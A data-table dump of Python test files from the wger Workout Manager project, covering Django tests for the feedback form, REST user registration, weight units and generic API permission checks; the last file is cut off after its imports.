id int64 0 458k | file_name stringlengths 4 119 | file_path stringlengths 14 227 | content stringlengths 24 9.96M | size int64 24 9.96M | language stringclasses 1 value | extension stringclasses 14 values | total_lines int64 1 219k | avg_line_length float64 2.52 4.63M | max_line_length int64 5 9.91M | alphanum_fraction float64 0 1 | repo_name stringlengths 7 101 | repo_stars int64 100 139k | repo_forks int64 0 26.4k | repo_open_issues int64 0 2.27k | repo_license stringclasses 12 values | repo_extraction_date stringclasses 433 values |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
22,800 | test_feedback.py | wger-project_wger/wger/core/tests/test_feedback.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Standard Library
from unittest import skip
# Django
from django.core import mail
from django.urls import reverse
# wger
from wger.core.tests.base_testcase import WgerTestCase
class FeedbackTestCase(WgerTestCase):
"""
Tests the feedback form
"""
def send_feedback(self, logged_in=True):
"""
Helper function
"""
response = self.client.get(reverse('core:feedback'))
self.assertEqual(response.status_code, 200)
response = self.client.post(
reverse('core:feedback'),
{'comment': 'A very long and interesting comment'},
)
if logged_in:
self.assertEqual(response.status_code, 302)
self.assertEqual(len(mail.outbox), 1)
response = self.client.get(response['Location'])
self.assertEqual(response.status_code, 200)
# Short comment
response = self.client.post(reverse('core:feedback'), {'comment': '12345'})
self.assertEqual(response.status_code, 200)
self.assertEqual(len(response.context['form'].errors), 1)
else:
# No recaptcha field
self.assertEqual(response.status_code, 200)
self.assertEqual(len(mail.outbox), 0)
# Correctly filled in reCaptcha
response = self.client.post(
reverse('core:feedback'),
{
'comment': 'A very long and interesting comment',
'g-recaptcha-response': 'PASSED',
},
)
self.assertEqual(response.status_code, 302)
self.assertEqual(len(mail.outbox), 1)
response = self.client.get(response['Location'])
self.assertEqual(response.status_code, 200)
def test_send_feedback_admin(self):
"""
Tests the feedback form as an admin user
"""
self.user_login('admin')
self.send_feedback()
def test_send_feedback_user(self):
"""
Tests the feedback form as a regular user
"""
self.user_login('test')
self.send_feedback()
@skip('Failing due to recaptcha issues')
def test_send_feedback_logged_out(self):
"""
Tests the feedback form as a logged out user
"""
self.send_feedback(logged_in=False)
| 2,993 | Python | .py | 77 | 30.61039 | 87 | 0.639435 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,801 | test_user_rest_registration.py | wger-project_wger/wger/core/tests/test_user_rest_registration.py | # Standard Library
from io import StringIO
# Django
from django.contrib.auth.models import User
from django.core.management import call_command
from django.urls import reverse
# Third Party
from rest_framework.authtoken.models import Token
from rest_framework.status import (
HTTP_201_CREATED,
HTTP_400_BAD_REQUEST,
HTTP_403_FORBIDDEN,
)
# wger
from wger.core.tests.base_testcase import WgerTestCase
class CreateUserCommand(WgerTestCase):
def setUp(self):
super(CreateUserCommand, self).setUp()
self.out = StringIO()
def test_access_api_user_creation(self):
"""Tests giving permission to register users via API"""
user = User.objects.get(username='admin')
self.assertFalse(user.userprofile.can_add_user)
call_command('add-user-rest', 'admin', stdout=self.out, no_color=True)
self.assertEqual('admin is now ALLOWED to add users via the API\n', self.out.getvalue())
user = User.objects.get(username='admin')
self.assertTrue(user.userprofile.can_add_user)
def test_revoke_access_api_user_creation(self):
"""Tests revoking permission to register users via API"""
user = User.objects.get(username='test')
self.assertTrue(user.userprofile.can_add_user)
call_command('add-user-rest', 'test', disable=True, stdout=self.out, no_color=True)
self.assertEqual(
'test is now DISABLED from adding users via the API\n',
self.out.getvalue(),
)
user = User.objects.get(username='test')
self.assertFalse(user.userprofile.can_add_user)
def test_access_get_api_users(self):
"""Tests listing created users via API"""
call_command('list-users-api', stdout=self.out, no_color=True)
self.assertIn('Users created by test:', self.out.getvalue())
self.assertIn('- trainer1', self.out.getvalue())
self.assertIn('- trainer2', self.out.getvalue())
def test_post_valid_api_user_creation(self):
"""Successfully register a user via the REST API"""
self.user_login('test')
user = User.objects.get(username='test')
token = Token.objects.get(user=user)
count_before = User.objects.count()
response = self.client.post(
reverse('api_register'),
{'username': 'restapi', 'email': 'abc@cde.fg', 'password': 'AekaiLe0ga'},
Authorization=f'Token {token.key}',
)
count_after = User.objects.count()
self.assertEqual(response.status_code, HTTP_201_CREATED)
new_user = User.objects.get(username='restapi')
token = Token.objects.get(user=new_user)
self.assertEqual(response.data['message'], 'api user successfully registered')
self.assertEqual(response.data['token'], token.key)
self.assertEqual(count_after, count_before + 1)
def test_post_valid_api_user_creation_no_email(self):
"""Successfully register a user via the REST API without providing an email"""
self.user_login('test')
user = User.objects.get(username='test')
token = Token.objects.get(user=user)
count_before = User.objects.count()
response = self.client.post(
reverse('api_register'),
{'username': 'restapi', 'password': 'AekaiLe0ga'},
Authorization=f'Token {token.key}',
)
count_after = User.objects.count()
self.assertEqual(response.status_code, HTTP_201_CREATED)
new_user = User.objects.get(username='restapi')
token = Token.objects.get(user=new_user)
self.assertEqual(response.data['message'], 'api user successfully registered')
self.assertEqual(response.data['token'], token.key)
self.assertEqual(count_after, count_before + 1)
def test_post_not_allowed_api_user_creation(self):
"""User admin isn't allowed to register users"""
self.user_login('admin')
count_before = User.objects.count()
response = self.client.post(
reverse('api_register'),
{'username': 'restapi', 'email': 'abc@cde.fg', 'password': 'AekaiLe0ga'},
)
count_after = User.objects.count()
self.assertEqual(response.status_code, HTTP_403_FORBIDDEN)
self.assertEqual(count_after, count_before)
def test_post_unsuccessfully_registration_no_username(self):
"""Test unsuccessful registration (weak password)"""
self.user_login('test')
user = User.objects.get(username='test')
token = Token.objects.get(user=user)
response = self.client.post(
reverse('api_register'),
{'password': 'AekaiLe0ga'},
Authorization=f'Token {token.key}',
)
self.assertEqual(response.status_code, HTTP_400_BAD_REQUEST)
def test_post_unsuccessfully_registration_invalid_email(self):
"""Test unsuccessful registration (invalid email)"""
self.user_login('test')
user = User.objects.get(username='test')
token = Token.objects.get(user=user)
response = self.client.post(
reverse('api_register'),
{'username': 'restapi', 'email': 'example.com', 'password': 'AekaiLe0ga'},
Authorization=f'Token {token.key}',
)
self.assertEqual(response.status_code, HTTP_400_BAD_REQUEST)
def test_post_unsuccessfully_registration_invalid_email_2(self):
"""Test unsuccessful registration (email already exists)"""
self.user_login('test')
user = User.objects.get(username='test')
token = Token.objects.get(user=user)
response = self.client.post(
reverse('api_register'),
{'username': 'restapi', 'email': 'admin@example.com', 'password': 'AekaiLe0ga'},
Authorization=f'Token {token.key}',
)
self.assertEqual(response.status_code, HTTP_400_BAD_REQUEST)
| 5,937 | Python | .py | 124 | 39.209677 | 96 | 0.65362 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,802 | test_weight_unit.py | wger-project_wger/wger/core/tests/test_weight_unit.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with Workout Manager. If not, see <http://www.gnu.org/licenses/>.
# wger
from wger.core.models import WeightUnit
from wger.core.tests import api_base_test
from wger.core.tests.base_testcase import (
WgerAccessTestCase,
WgerAddTestCase,
WgerDeleteTestCase,
WgerEditTestCase,
WgerTestCase,
)
class RepresentationTestCase(WgerTestCase):
"""
Test the representation of a model
"""
def test_representation(self):
"""
Test that the representation of an object is correct
"""
self.assertEqual(f'{WeightUnit.objects.get(pk=1)}', 'kg')
class OverviewTest(WgerAccessTestCase):
"""
Tests the weight unit overview page
"""
url = 'core:weight-unit:list'
anonymous_fail = True
class AddTestCase(WgerAddTestCase):
"""
Tests adding a new unit
"""
object_class = WeightUnit
url = 'core:weight-unit:add'
data = {'name': 'Furlongs'}
user_success = ('admin',)
user_fail = (
'general_manager1',
'general_manager2',
'member1',
'member2',
'trainer2',
'trainer3',
'trainer4',
'manager3',
)
class DeleteTestCase(WgerDeleteTestCase):
"""
Tests deleting a unit
"""
pk = 1
object_class = WeightUnit
url = 'core:weight-unit:delete'
user_success = ('admin',)
user_fail = (
'general_manager1',
'general_manager2',
'member1',
'member2',
'trainer2',
'trainer3',
'trainer4',
'manager3',
)
class EditTestCase(WgerEditTestCase):
"""
Tests editing a unit
"""
pk = 1
object_class = WeightUnit
url = 'core:weight-unit:edit'
data = {'name': 'Furlongs'}
user_success = ('admin',)
user_fail = (
'general_manager1',
'general_manager2',
'member1',
'member2',
'trainer2',
'trainer3',
'trainer4',
'manager3',
)
class ApiTestCase(api_base_test.ApiBaseResourceTestCase):
"""
Tests the unit resource
"""
pk = 1
resource = WeightUnit
private_resource = False
def get_resource_name(self):
return 'setting-weightunit'
| 2,862 | Python | .py | 103 | 22.436893 | 78 | 0.654253 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,803 | api_base_test.py | wger-project_wger/wger/core/tests/api_base_test.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Django
from django.contrib.auth.models import User
from django.core.cache.backends import locmem
# Third Party
from rest_framework import status
from rest_framework.test import APITestCase
# wger
from wger.core.tests.base_testcase import BaseTestCase
class ApiBaseTestCase(APITestCase):
api_version = 'v2'
"""
The current API version to test
"""
resource = None
"""
The current resource to be tested (Model class)
"""
pk = None
"""
The pk of the detail view to test
"""
private_resource = True
"""
A flag indicating whether the resource can be updated (POST, PATCH)
by the owning user (workout, etc.)
"""
user_access = 'test'
"""
Owner user authorized to change the data (workout, etc.)
"""
user_fail = 'admin'
"""
A different user
"""
data = {}
"""
Dictionary with the data used for testing
"""
special_endpoints = ()
"""
A list of special endpoints to check, e.g. the canonical representation of
a workout.
"""
overview_cached = False
"""
A flag indicating whether the overview resource is cached
"""
protected_resource = False
"""
A flag indicating whether the resource is protected where only certain users can alter
"""
def get_resource_name(self):
"""
Returns the name of the resource. The default is the name of the model
class used in lower letters
"""
return self.resource.__name__.lower()
@property
def url(self):
"""
Return the URL to use for testing
"""
return f'/api/{self.api_version}/{self.get_resource_name()}/'
@property
def url_detail(self):
"""
Return the detail URL to use for testing
"""
return f'{self.url}{self.pk}/'
def authenticate(self, username=None):
"""
Authenticates a user
"""
if not username:
username = self.user_access
user_obj = User.objects.get(username=username)
self.client.force_authenticate(user=user_obj)
class ApiGetTestCase:
"""
Base test case for testing GET access to the API
"""
def test_ordering(self):
"""
Test that ordering the resource works
"""
pass
# TODO: implement this
def test_get_detail(self):
"""
Tests accessing the detail view of a resource
"""
if self.private_resource:
response = self.client.get(self.url_detail)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
# Logged in owner user
self.authenticate()
response = self.client.get(self.url_detail)
self.assertEqual(response.status_code, status.HTTP_200_OK)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.get(self.url_detail)
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
else:
response = self.client.get(self.url_detail)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_get_overview(self):
"""
Test accessing the overview view of a resource
"""
if self.private_resource:
response = self.client.get(self.url)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
# Logged in owner user
self.authenticate()
response = self.client.get(self.url)
self.assertEqual(response.status_code, status.HTTP_200_OK)
else:
response = self.client.get(self.url)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_get_overview_is_cached(self):
"""
Test accessing the overview view of a resource is cached
"""
# Ensure the wger cache is empty.
cache_length = len(locmem._caches['wger-cache'])
self.assertEqual(cache_length, 0)
self.test_get_overview()
# If the overview is cached. Then ensure the cache isn't empty.
if self.overview_cached:
cache_length = len(locmem._caches['wger-cache'])
self.assertNotEqual(cache_length, 0)
else:
cache_length = len(locmem._caches['wger-cache'])
self.assertEqual(cache_length, 0)
def test_special_endpoints(self):
"""
Test accessing any special endpoint the resource could have
"""
for endpoint in self.special_endpoints:
url = self.url_detail + endpoint + '/'
response = self.client.get(url)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
# Logged in owner user
self.authenticate()
response = self.client.get(url)
self.assertEqual(response.status_code, status.HTTP_200_OK)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.get(self.url_detail)
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
class ApiPostTestCase:
"""
Base test case for testing POST access to the API
"""
def test_post_detail(self):
"""
POSTing to a detail view is not allowed
"""
if self.private_resource:
# Anonymous user
response = self.client.post(self.url_detail, data=self.data)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
# Authorized user (owner)
self.authenticate()
response = self.client.post(self.url_detail, data=self.data)
self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.post(self.url_detail, data=self.data)
self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)
else:
# Anonymous user
response = self.client.post(self.url_detail, data=self.data)
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
# Authorized user (owner)
self.authenticate()
response = self.client.post(self.url_detail, data=self.data)
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.post(self.url_detail, data=self.data)
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
def test_post(self):
"""
Tests POSTing (adding) a new object
"""
if self.private_resource:
# Anonymous user
response = self.client.post(self.url, data=self.data)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
# Authorized user (owner)
self.authenticate()
count_before = self.resource.objects.all().count()
response = self.client.post(self.url, data=self.data)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
count_after = self.resource.objects.all().count()
self.assertEqual(count_before + 1, count_after)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.post(self.url, data=self.data)
# self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
# self.assertEqual(response.status_code, status.HTTP_201_CREATED)
else:
# Anonymous user
response = self.client.post(self.url, data=self.data)
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
# Logged in user
self.authenticate()
response = self.client.post(self.url, data=self.data)
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.post(self.url, data=self.data)
if self.protected_resource:
self.assertIn(response.status_code, (status.HTTP_200_OK, status.HTTP_201_CREATED))
else:
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
def test_post_special_endpoints(self):
"""
Tests that it's not possible to POST to the special endpoints
"""
for endpoint in self.special_endpoints:
url = self.url_detail + endpoint + '/'
response = self.client.post(url, self.data)
if self.private_resource:
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
else:
self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)
# Logged in owner user
self.authenticate()
response = self.client.post(url, self.data)
self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.post(url, self.data)
self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)
class ApiPatchTestCase:
"""
Base test case for testing PATCH access to the API
"""
def test_patch_detail(self):
"""
Test PATCHING a detail view
"""
if self.private_resource:
# Anonymous user
response = self.client.patch(self.url_detail, data=self.data)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
# Authorized user (owner)
self.authenticate()
response = self.client.patch(self.url_detail, data=self.data)
self.assertIn(response.status_code, (status.HTTP_201_CREATED, status.HTTP_200_OK))
# Try updating each of the object's values
for key in self.data:
response = self.client.patch(self.url_detail, data={key: self.data[key]})
self.assertEqual(response.status_code, status.HTTP_200_OK)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.patch(self.url_detail, data=self.data)
self.assertIn(
response.status_code,
(status.HTTP_403_FORBIDDEN, status.HTTP_404_NOT_FOUND),
)
else:
# Anonymous user
response = self.client.patch(self.url_detail, data=self.data)
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
# Authorized user (owner)
self.authenticate()
response = self.client.patch(self.url_detail, data=self.data)
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.patch(self.url_detail, data=self.data)
if self.protected_resource:
self.assertIn(response.status_code, (status.HTTP_200_OK, status.HTTP_201_CREATED))
else:
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
def test_patch(self):
"""
PATCHING to the overview is not allowed
"""
if self.private_resource:
# Anonymous user
response = self.client.patch(self.url, data=self.data)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
else:
# Anonymous user
response = self.client.patch(self.url, data=self.data)
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
# Logged in user
self.authenticate()
response = self.client.patch(self.url, data=self.data)
self.assertIn(
response.status_code, (status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN)
)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.patch(self.url, data=self.data)
self.assertIn(
response.status_code, (status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN)
)
def test_patch_special_endpoints(self):
"""
Tests that it's not possible to patch to the special endpoints
"""
for endpoint in self.special_endpoints:
url = self.url_detail + endpoint + '/'
response = self.client.patch(url, self.data)
if self.private_resource:
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
else:
self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)
# Logged in owner user
self.authenticate()
response = self.client.patch(url, self.data)
self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.patch(url, self.data)
self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)
class ApiPutTestCase:
"""
Base test case for testing PUT access to the API
"""
def test_put_detail(self):
"""
PUTing to a detail view is allowed
"""
if self.private_resource:
# Anonymous user
response = self.client.put(self.url_detail, data=self.data)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
# Authorized user (owner)
self.authenticate()
response = self.client.put(self.url_detail, data=self.data)
self.assertIn(response.status_code, (status.HTTP_200_OK, status.HTTP_201_CREATED))
# Different logged in user
count_before = self.resource.objects.all().count()
self.authenticate(self.user_fail)
response = self.client.put(self.url_detail, data=self.data)
count_after = self.resource.objects.all().count()
# Even if we PUT to a detail resource that does not belong to us,
# the created object will have the correct user assigned.
#
# Currently, resources that have a 'user' field 'succeed'
if response.status_code == status.HTTP_201_CREATED:
# print(f'201: {self.url_detail}')
obj = self.resource.objects.get(pk=response.data['id'])
obj2 = self.resource.objects.get(pk=self.pk)
self.assertNotEqual(
obj.get_owner_object().user.username,
obj2.get_owner_object().user.username,
)
self.assertEqual(obj.get_owner_object().user.username, self.user_fail)
self.assertEqual(count_before + 1, count_after)
elif response.status_code == status.HTTP_403_FORBIDDEN:
# print(f'403: {self.url_detail}')
self.assertEqual(count_before, count_after)
else:
# Anonymous user
response = self.client.put(self.url_detail, data=self.data)
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
# Authorized user (owner)
self.authenticate()
response = self.client.put(self.url_detail, data=self.data)
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.put(self.url_detail, data=self.data)
if self.protected_resource:
self.assertIn(response.status_code, (status.HTTP_200_OK, status.HTTP_201_CREATED))
else:
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
def test_put(self):
"""
Tests PUTTING (adding) a new object
"""
if self.private_resource:
# Anonymous user
response = self.client.put(self.url, data=self.data)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
else:
# Anonymous user
response = self.client.put(self.url, data=self.data)
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
# Authorized user (owner)
self.authenticate()
response = self.client.put(self.url, data=self.data)
self.assertIn(
response.status_code, (status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN)
)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.put(self.url, data=self.data)
self.assertIn(
response.status_code, (status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN)
)
def test_put_special_endpoints(self):
"""
Tests that it's not possible to PUT to the special endpoints
"""
for endpoint in self.special_endpoints:
url = self.url_detail + endpoint + '/'
response = self.client.put(url, self.data)
if self.private_resource:
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
else:
self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)
# Logged in owner user
self.authenticate()
response = self.client.put(url, self.data)
self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.put(url, self.data)
self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)
class ApiDeleteTestCase:
"""
Base test case for testing DELETE access to the API
"""
def test_delete_detail(self):
"""
Tests DELETEing an object
"""
if self.private_resource:
# Anonymous user
count_before = self.resource.objects.all().count()
response = self.client.delete(self.url_detail)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
count_after = self.resource.objects.all().count()
self.assertEqual(count_before, count_after)
# Authorized user (owner)
self.authenticate()
count_before = self.resource.objects.all().count()
response = self.client.delete(self.url_detail)
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
count_after = self.resource.objects.all().count()
self.assertEqual(count_before - 1, count_after)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.delete(self.url_detail)
self.assertEqual(response.status_code, status.HTTP_404_NOT_FOUND)
else:
# Anonymous user
response = self.client.delete(self.url_detail)
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
# Logged in user
self.authenticate()
response = self.client.delete(self.url_detail)
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.delete(self.url_detail)
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
def test_delete(self):
"""
DELETEing to the overview is not allowed
"""
if self.private_resource:
# Anonymous user
response = self.client.delete(self.url)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
# Authorized user (owner)
self.authenticate()
response = self.client.delete(self.url)
self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.delete(self.url)
self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)
else:
# Anonymous user
response = self.client.delete(self.url)
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
# Authorized user (owner)
self.authenticate()
response = self.client.delete(self.url)
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.delete(self.url)
self.assertIn(
response.status_code,
(status.HTTP_405_METHOD_NOT_ALLOWED, status.HTTP_403_FORBIDDEN),
)
def test_delete_special_endpoints(self):
"""
Tests that it's not possible to delete to the special endpoints
"""
for endpoint in self.special_endpoints:
url = self.url_detail + endpoint + '/'
response = self.client.delete(url)
if self.private_resource:
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
else:
self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)
# Logged in owner user
self.authenticate()
response = self.client.delete(url)
self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)
# Different logged in user
self.authenticate(self.user_fail)
response = self.client.delete(url)
self.assertEqual(response.status_code, status.HTTP_405_METHOD_NOT_ALLOWED)
class ApiBaseResourceTestCase(
BaseTestCase,
ApiBaseTestCase,
ApiGetTestCase,
ApiPostTestCase,
ApiDeleteTestCase,
ApiPutTestCase,
ApiPatchTestCase,
):
"""
Base test case for the REST API
All logic happens in the Api*TestCase classes
"""
pass
class ExerciseCrudApiTestCase(BaseTestCase, ApiBaseTestCase):
"""
Testcase for the exercise API endpoints
"""
def skip_test(self):
if self.__class__.__name__ == 'ExerciseCrudApiTestCase':
self.skipTest('not testing base test class')
def test_get_overview_anonymous_user(self):
self.skip_test()
response = self.client.get(self.url)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_get_detail_anonymous_user(self):
self.skip_test()
response = self.client.get(self.url_detail)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_get_overview_user(self):
self.skip_test()
self.authenticate('test')
response = self.client.get(self.url)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_get_detail_user(self):
self.skip_test()
self.authenticate('test')
response = self.client.get(self.url_detail)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_patch_anonymous(self):
self.skip_test()
for key in self.data:
response = self.client.patch(self.url_detail, data={key: self.data[key]})
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_patch_user_unverified_email(self):
self.skip_test()
self.authenticate('test')
for key in self.data:
response = self.client.patch(self.url_detail, data={key: self.data[key]})
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_patch_user_verified_email(self):
self.skip_test()
self.authenticate('trainer1')
for key in self.data:
response = self.client.patch(self.url_detail, data={key: self.data[key]})
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_post_user_anonymous(self):
self.skip_test()
response = self.client.post(self.url, data=self.data)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_post_user_unverified_email(self):
self.skip_test()
self.authenticate('test')
response = self.client.post(self.url, data=self.data)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_post_user_verified_email(self):
self.skip_test()
self.authenticate('trainer1')
response = self.client.post(self.url, data=self.data)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
def test_put_user_anonymous(self):
self.skip_test()
response = self.client.put(self.url_detail, data=self.data)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_put_user_unverified_email(self):
self.skip_test()
self.authenticate('test')
response = self.client.put(self.url_detail, data=self.data)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_put_user_verified_email(self):
self.skip_test()
self.authenticate('trainer1')
response = self.client.put(self.url_detail, data=self.data)
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_delete_anonymous(self):
self.skip_test()
response = self.client.delete(self.url_detail)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_delete_user_unverified_email(self):
self.skip_test()
self.authenticate('test')
response = self.client.delete(self.url_detail)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_delete_user_verified_email(self):
self.skip_test()
self.authenticate('trainer1')
response = self.client.delete(self.url_detail)
self.assertEqual(response.status_code, status.HTTP_403_FORBIDDEN)
def test_delete_user_with_permissions(self):
self.skip_test()
self.authenticate('admin')
response = self.client.delete(self.url_detail)
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
| 29,108 | Python | .py | 678 | 32.185841 | 98 | 0.615708 | wger-project/wger | 3,065 | 570 | 221 | AGPL-3.0 | 9/5/2024, 5:13:18 PM (Europe/Amsterdam) |
22,804 | test_registration.py | wger-project_wger/wger/core/tests/test_registration.py | # This file is part of wger Workout Manager.
#
# wger Workout Manager is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# wger Workout Manager is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# Standard Library
import logging
# Django
from django.contrib.auth.models import User
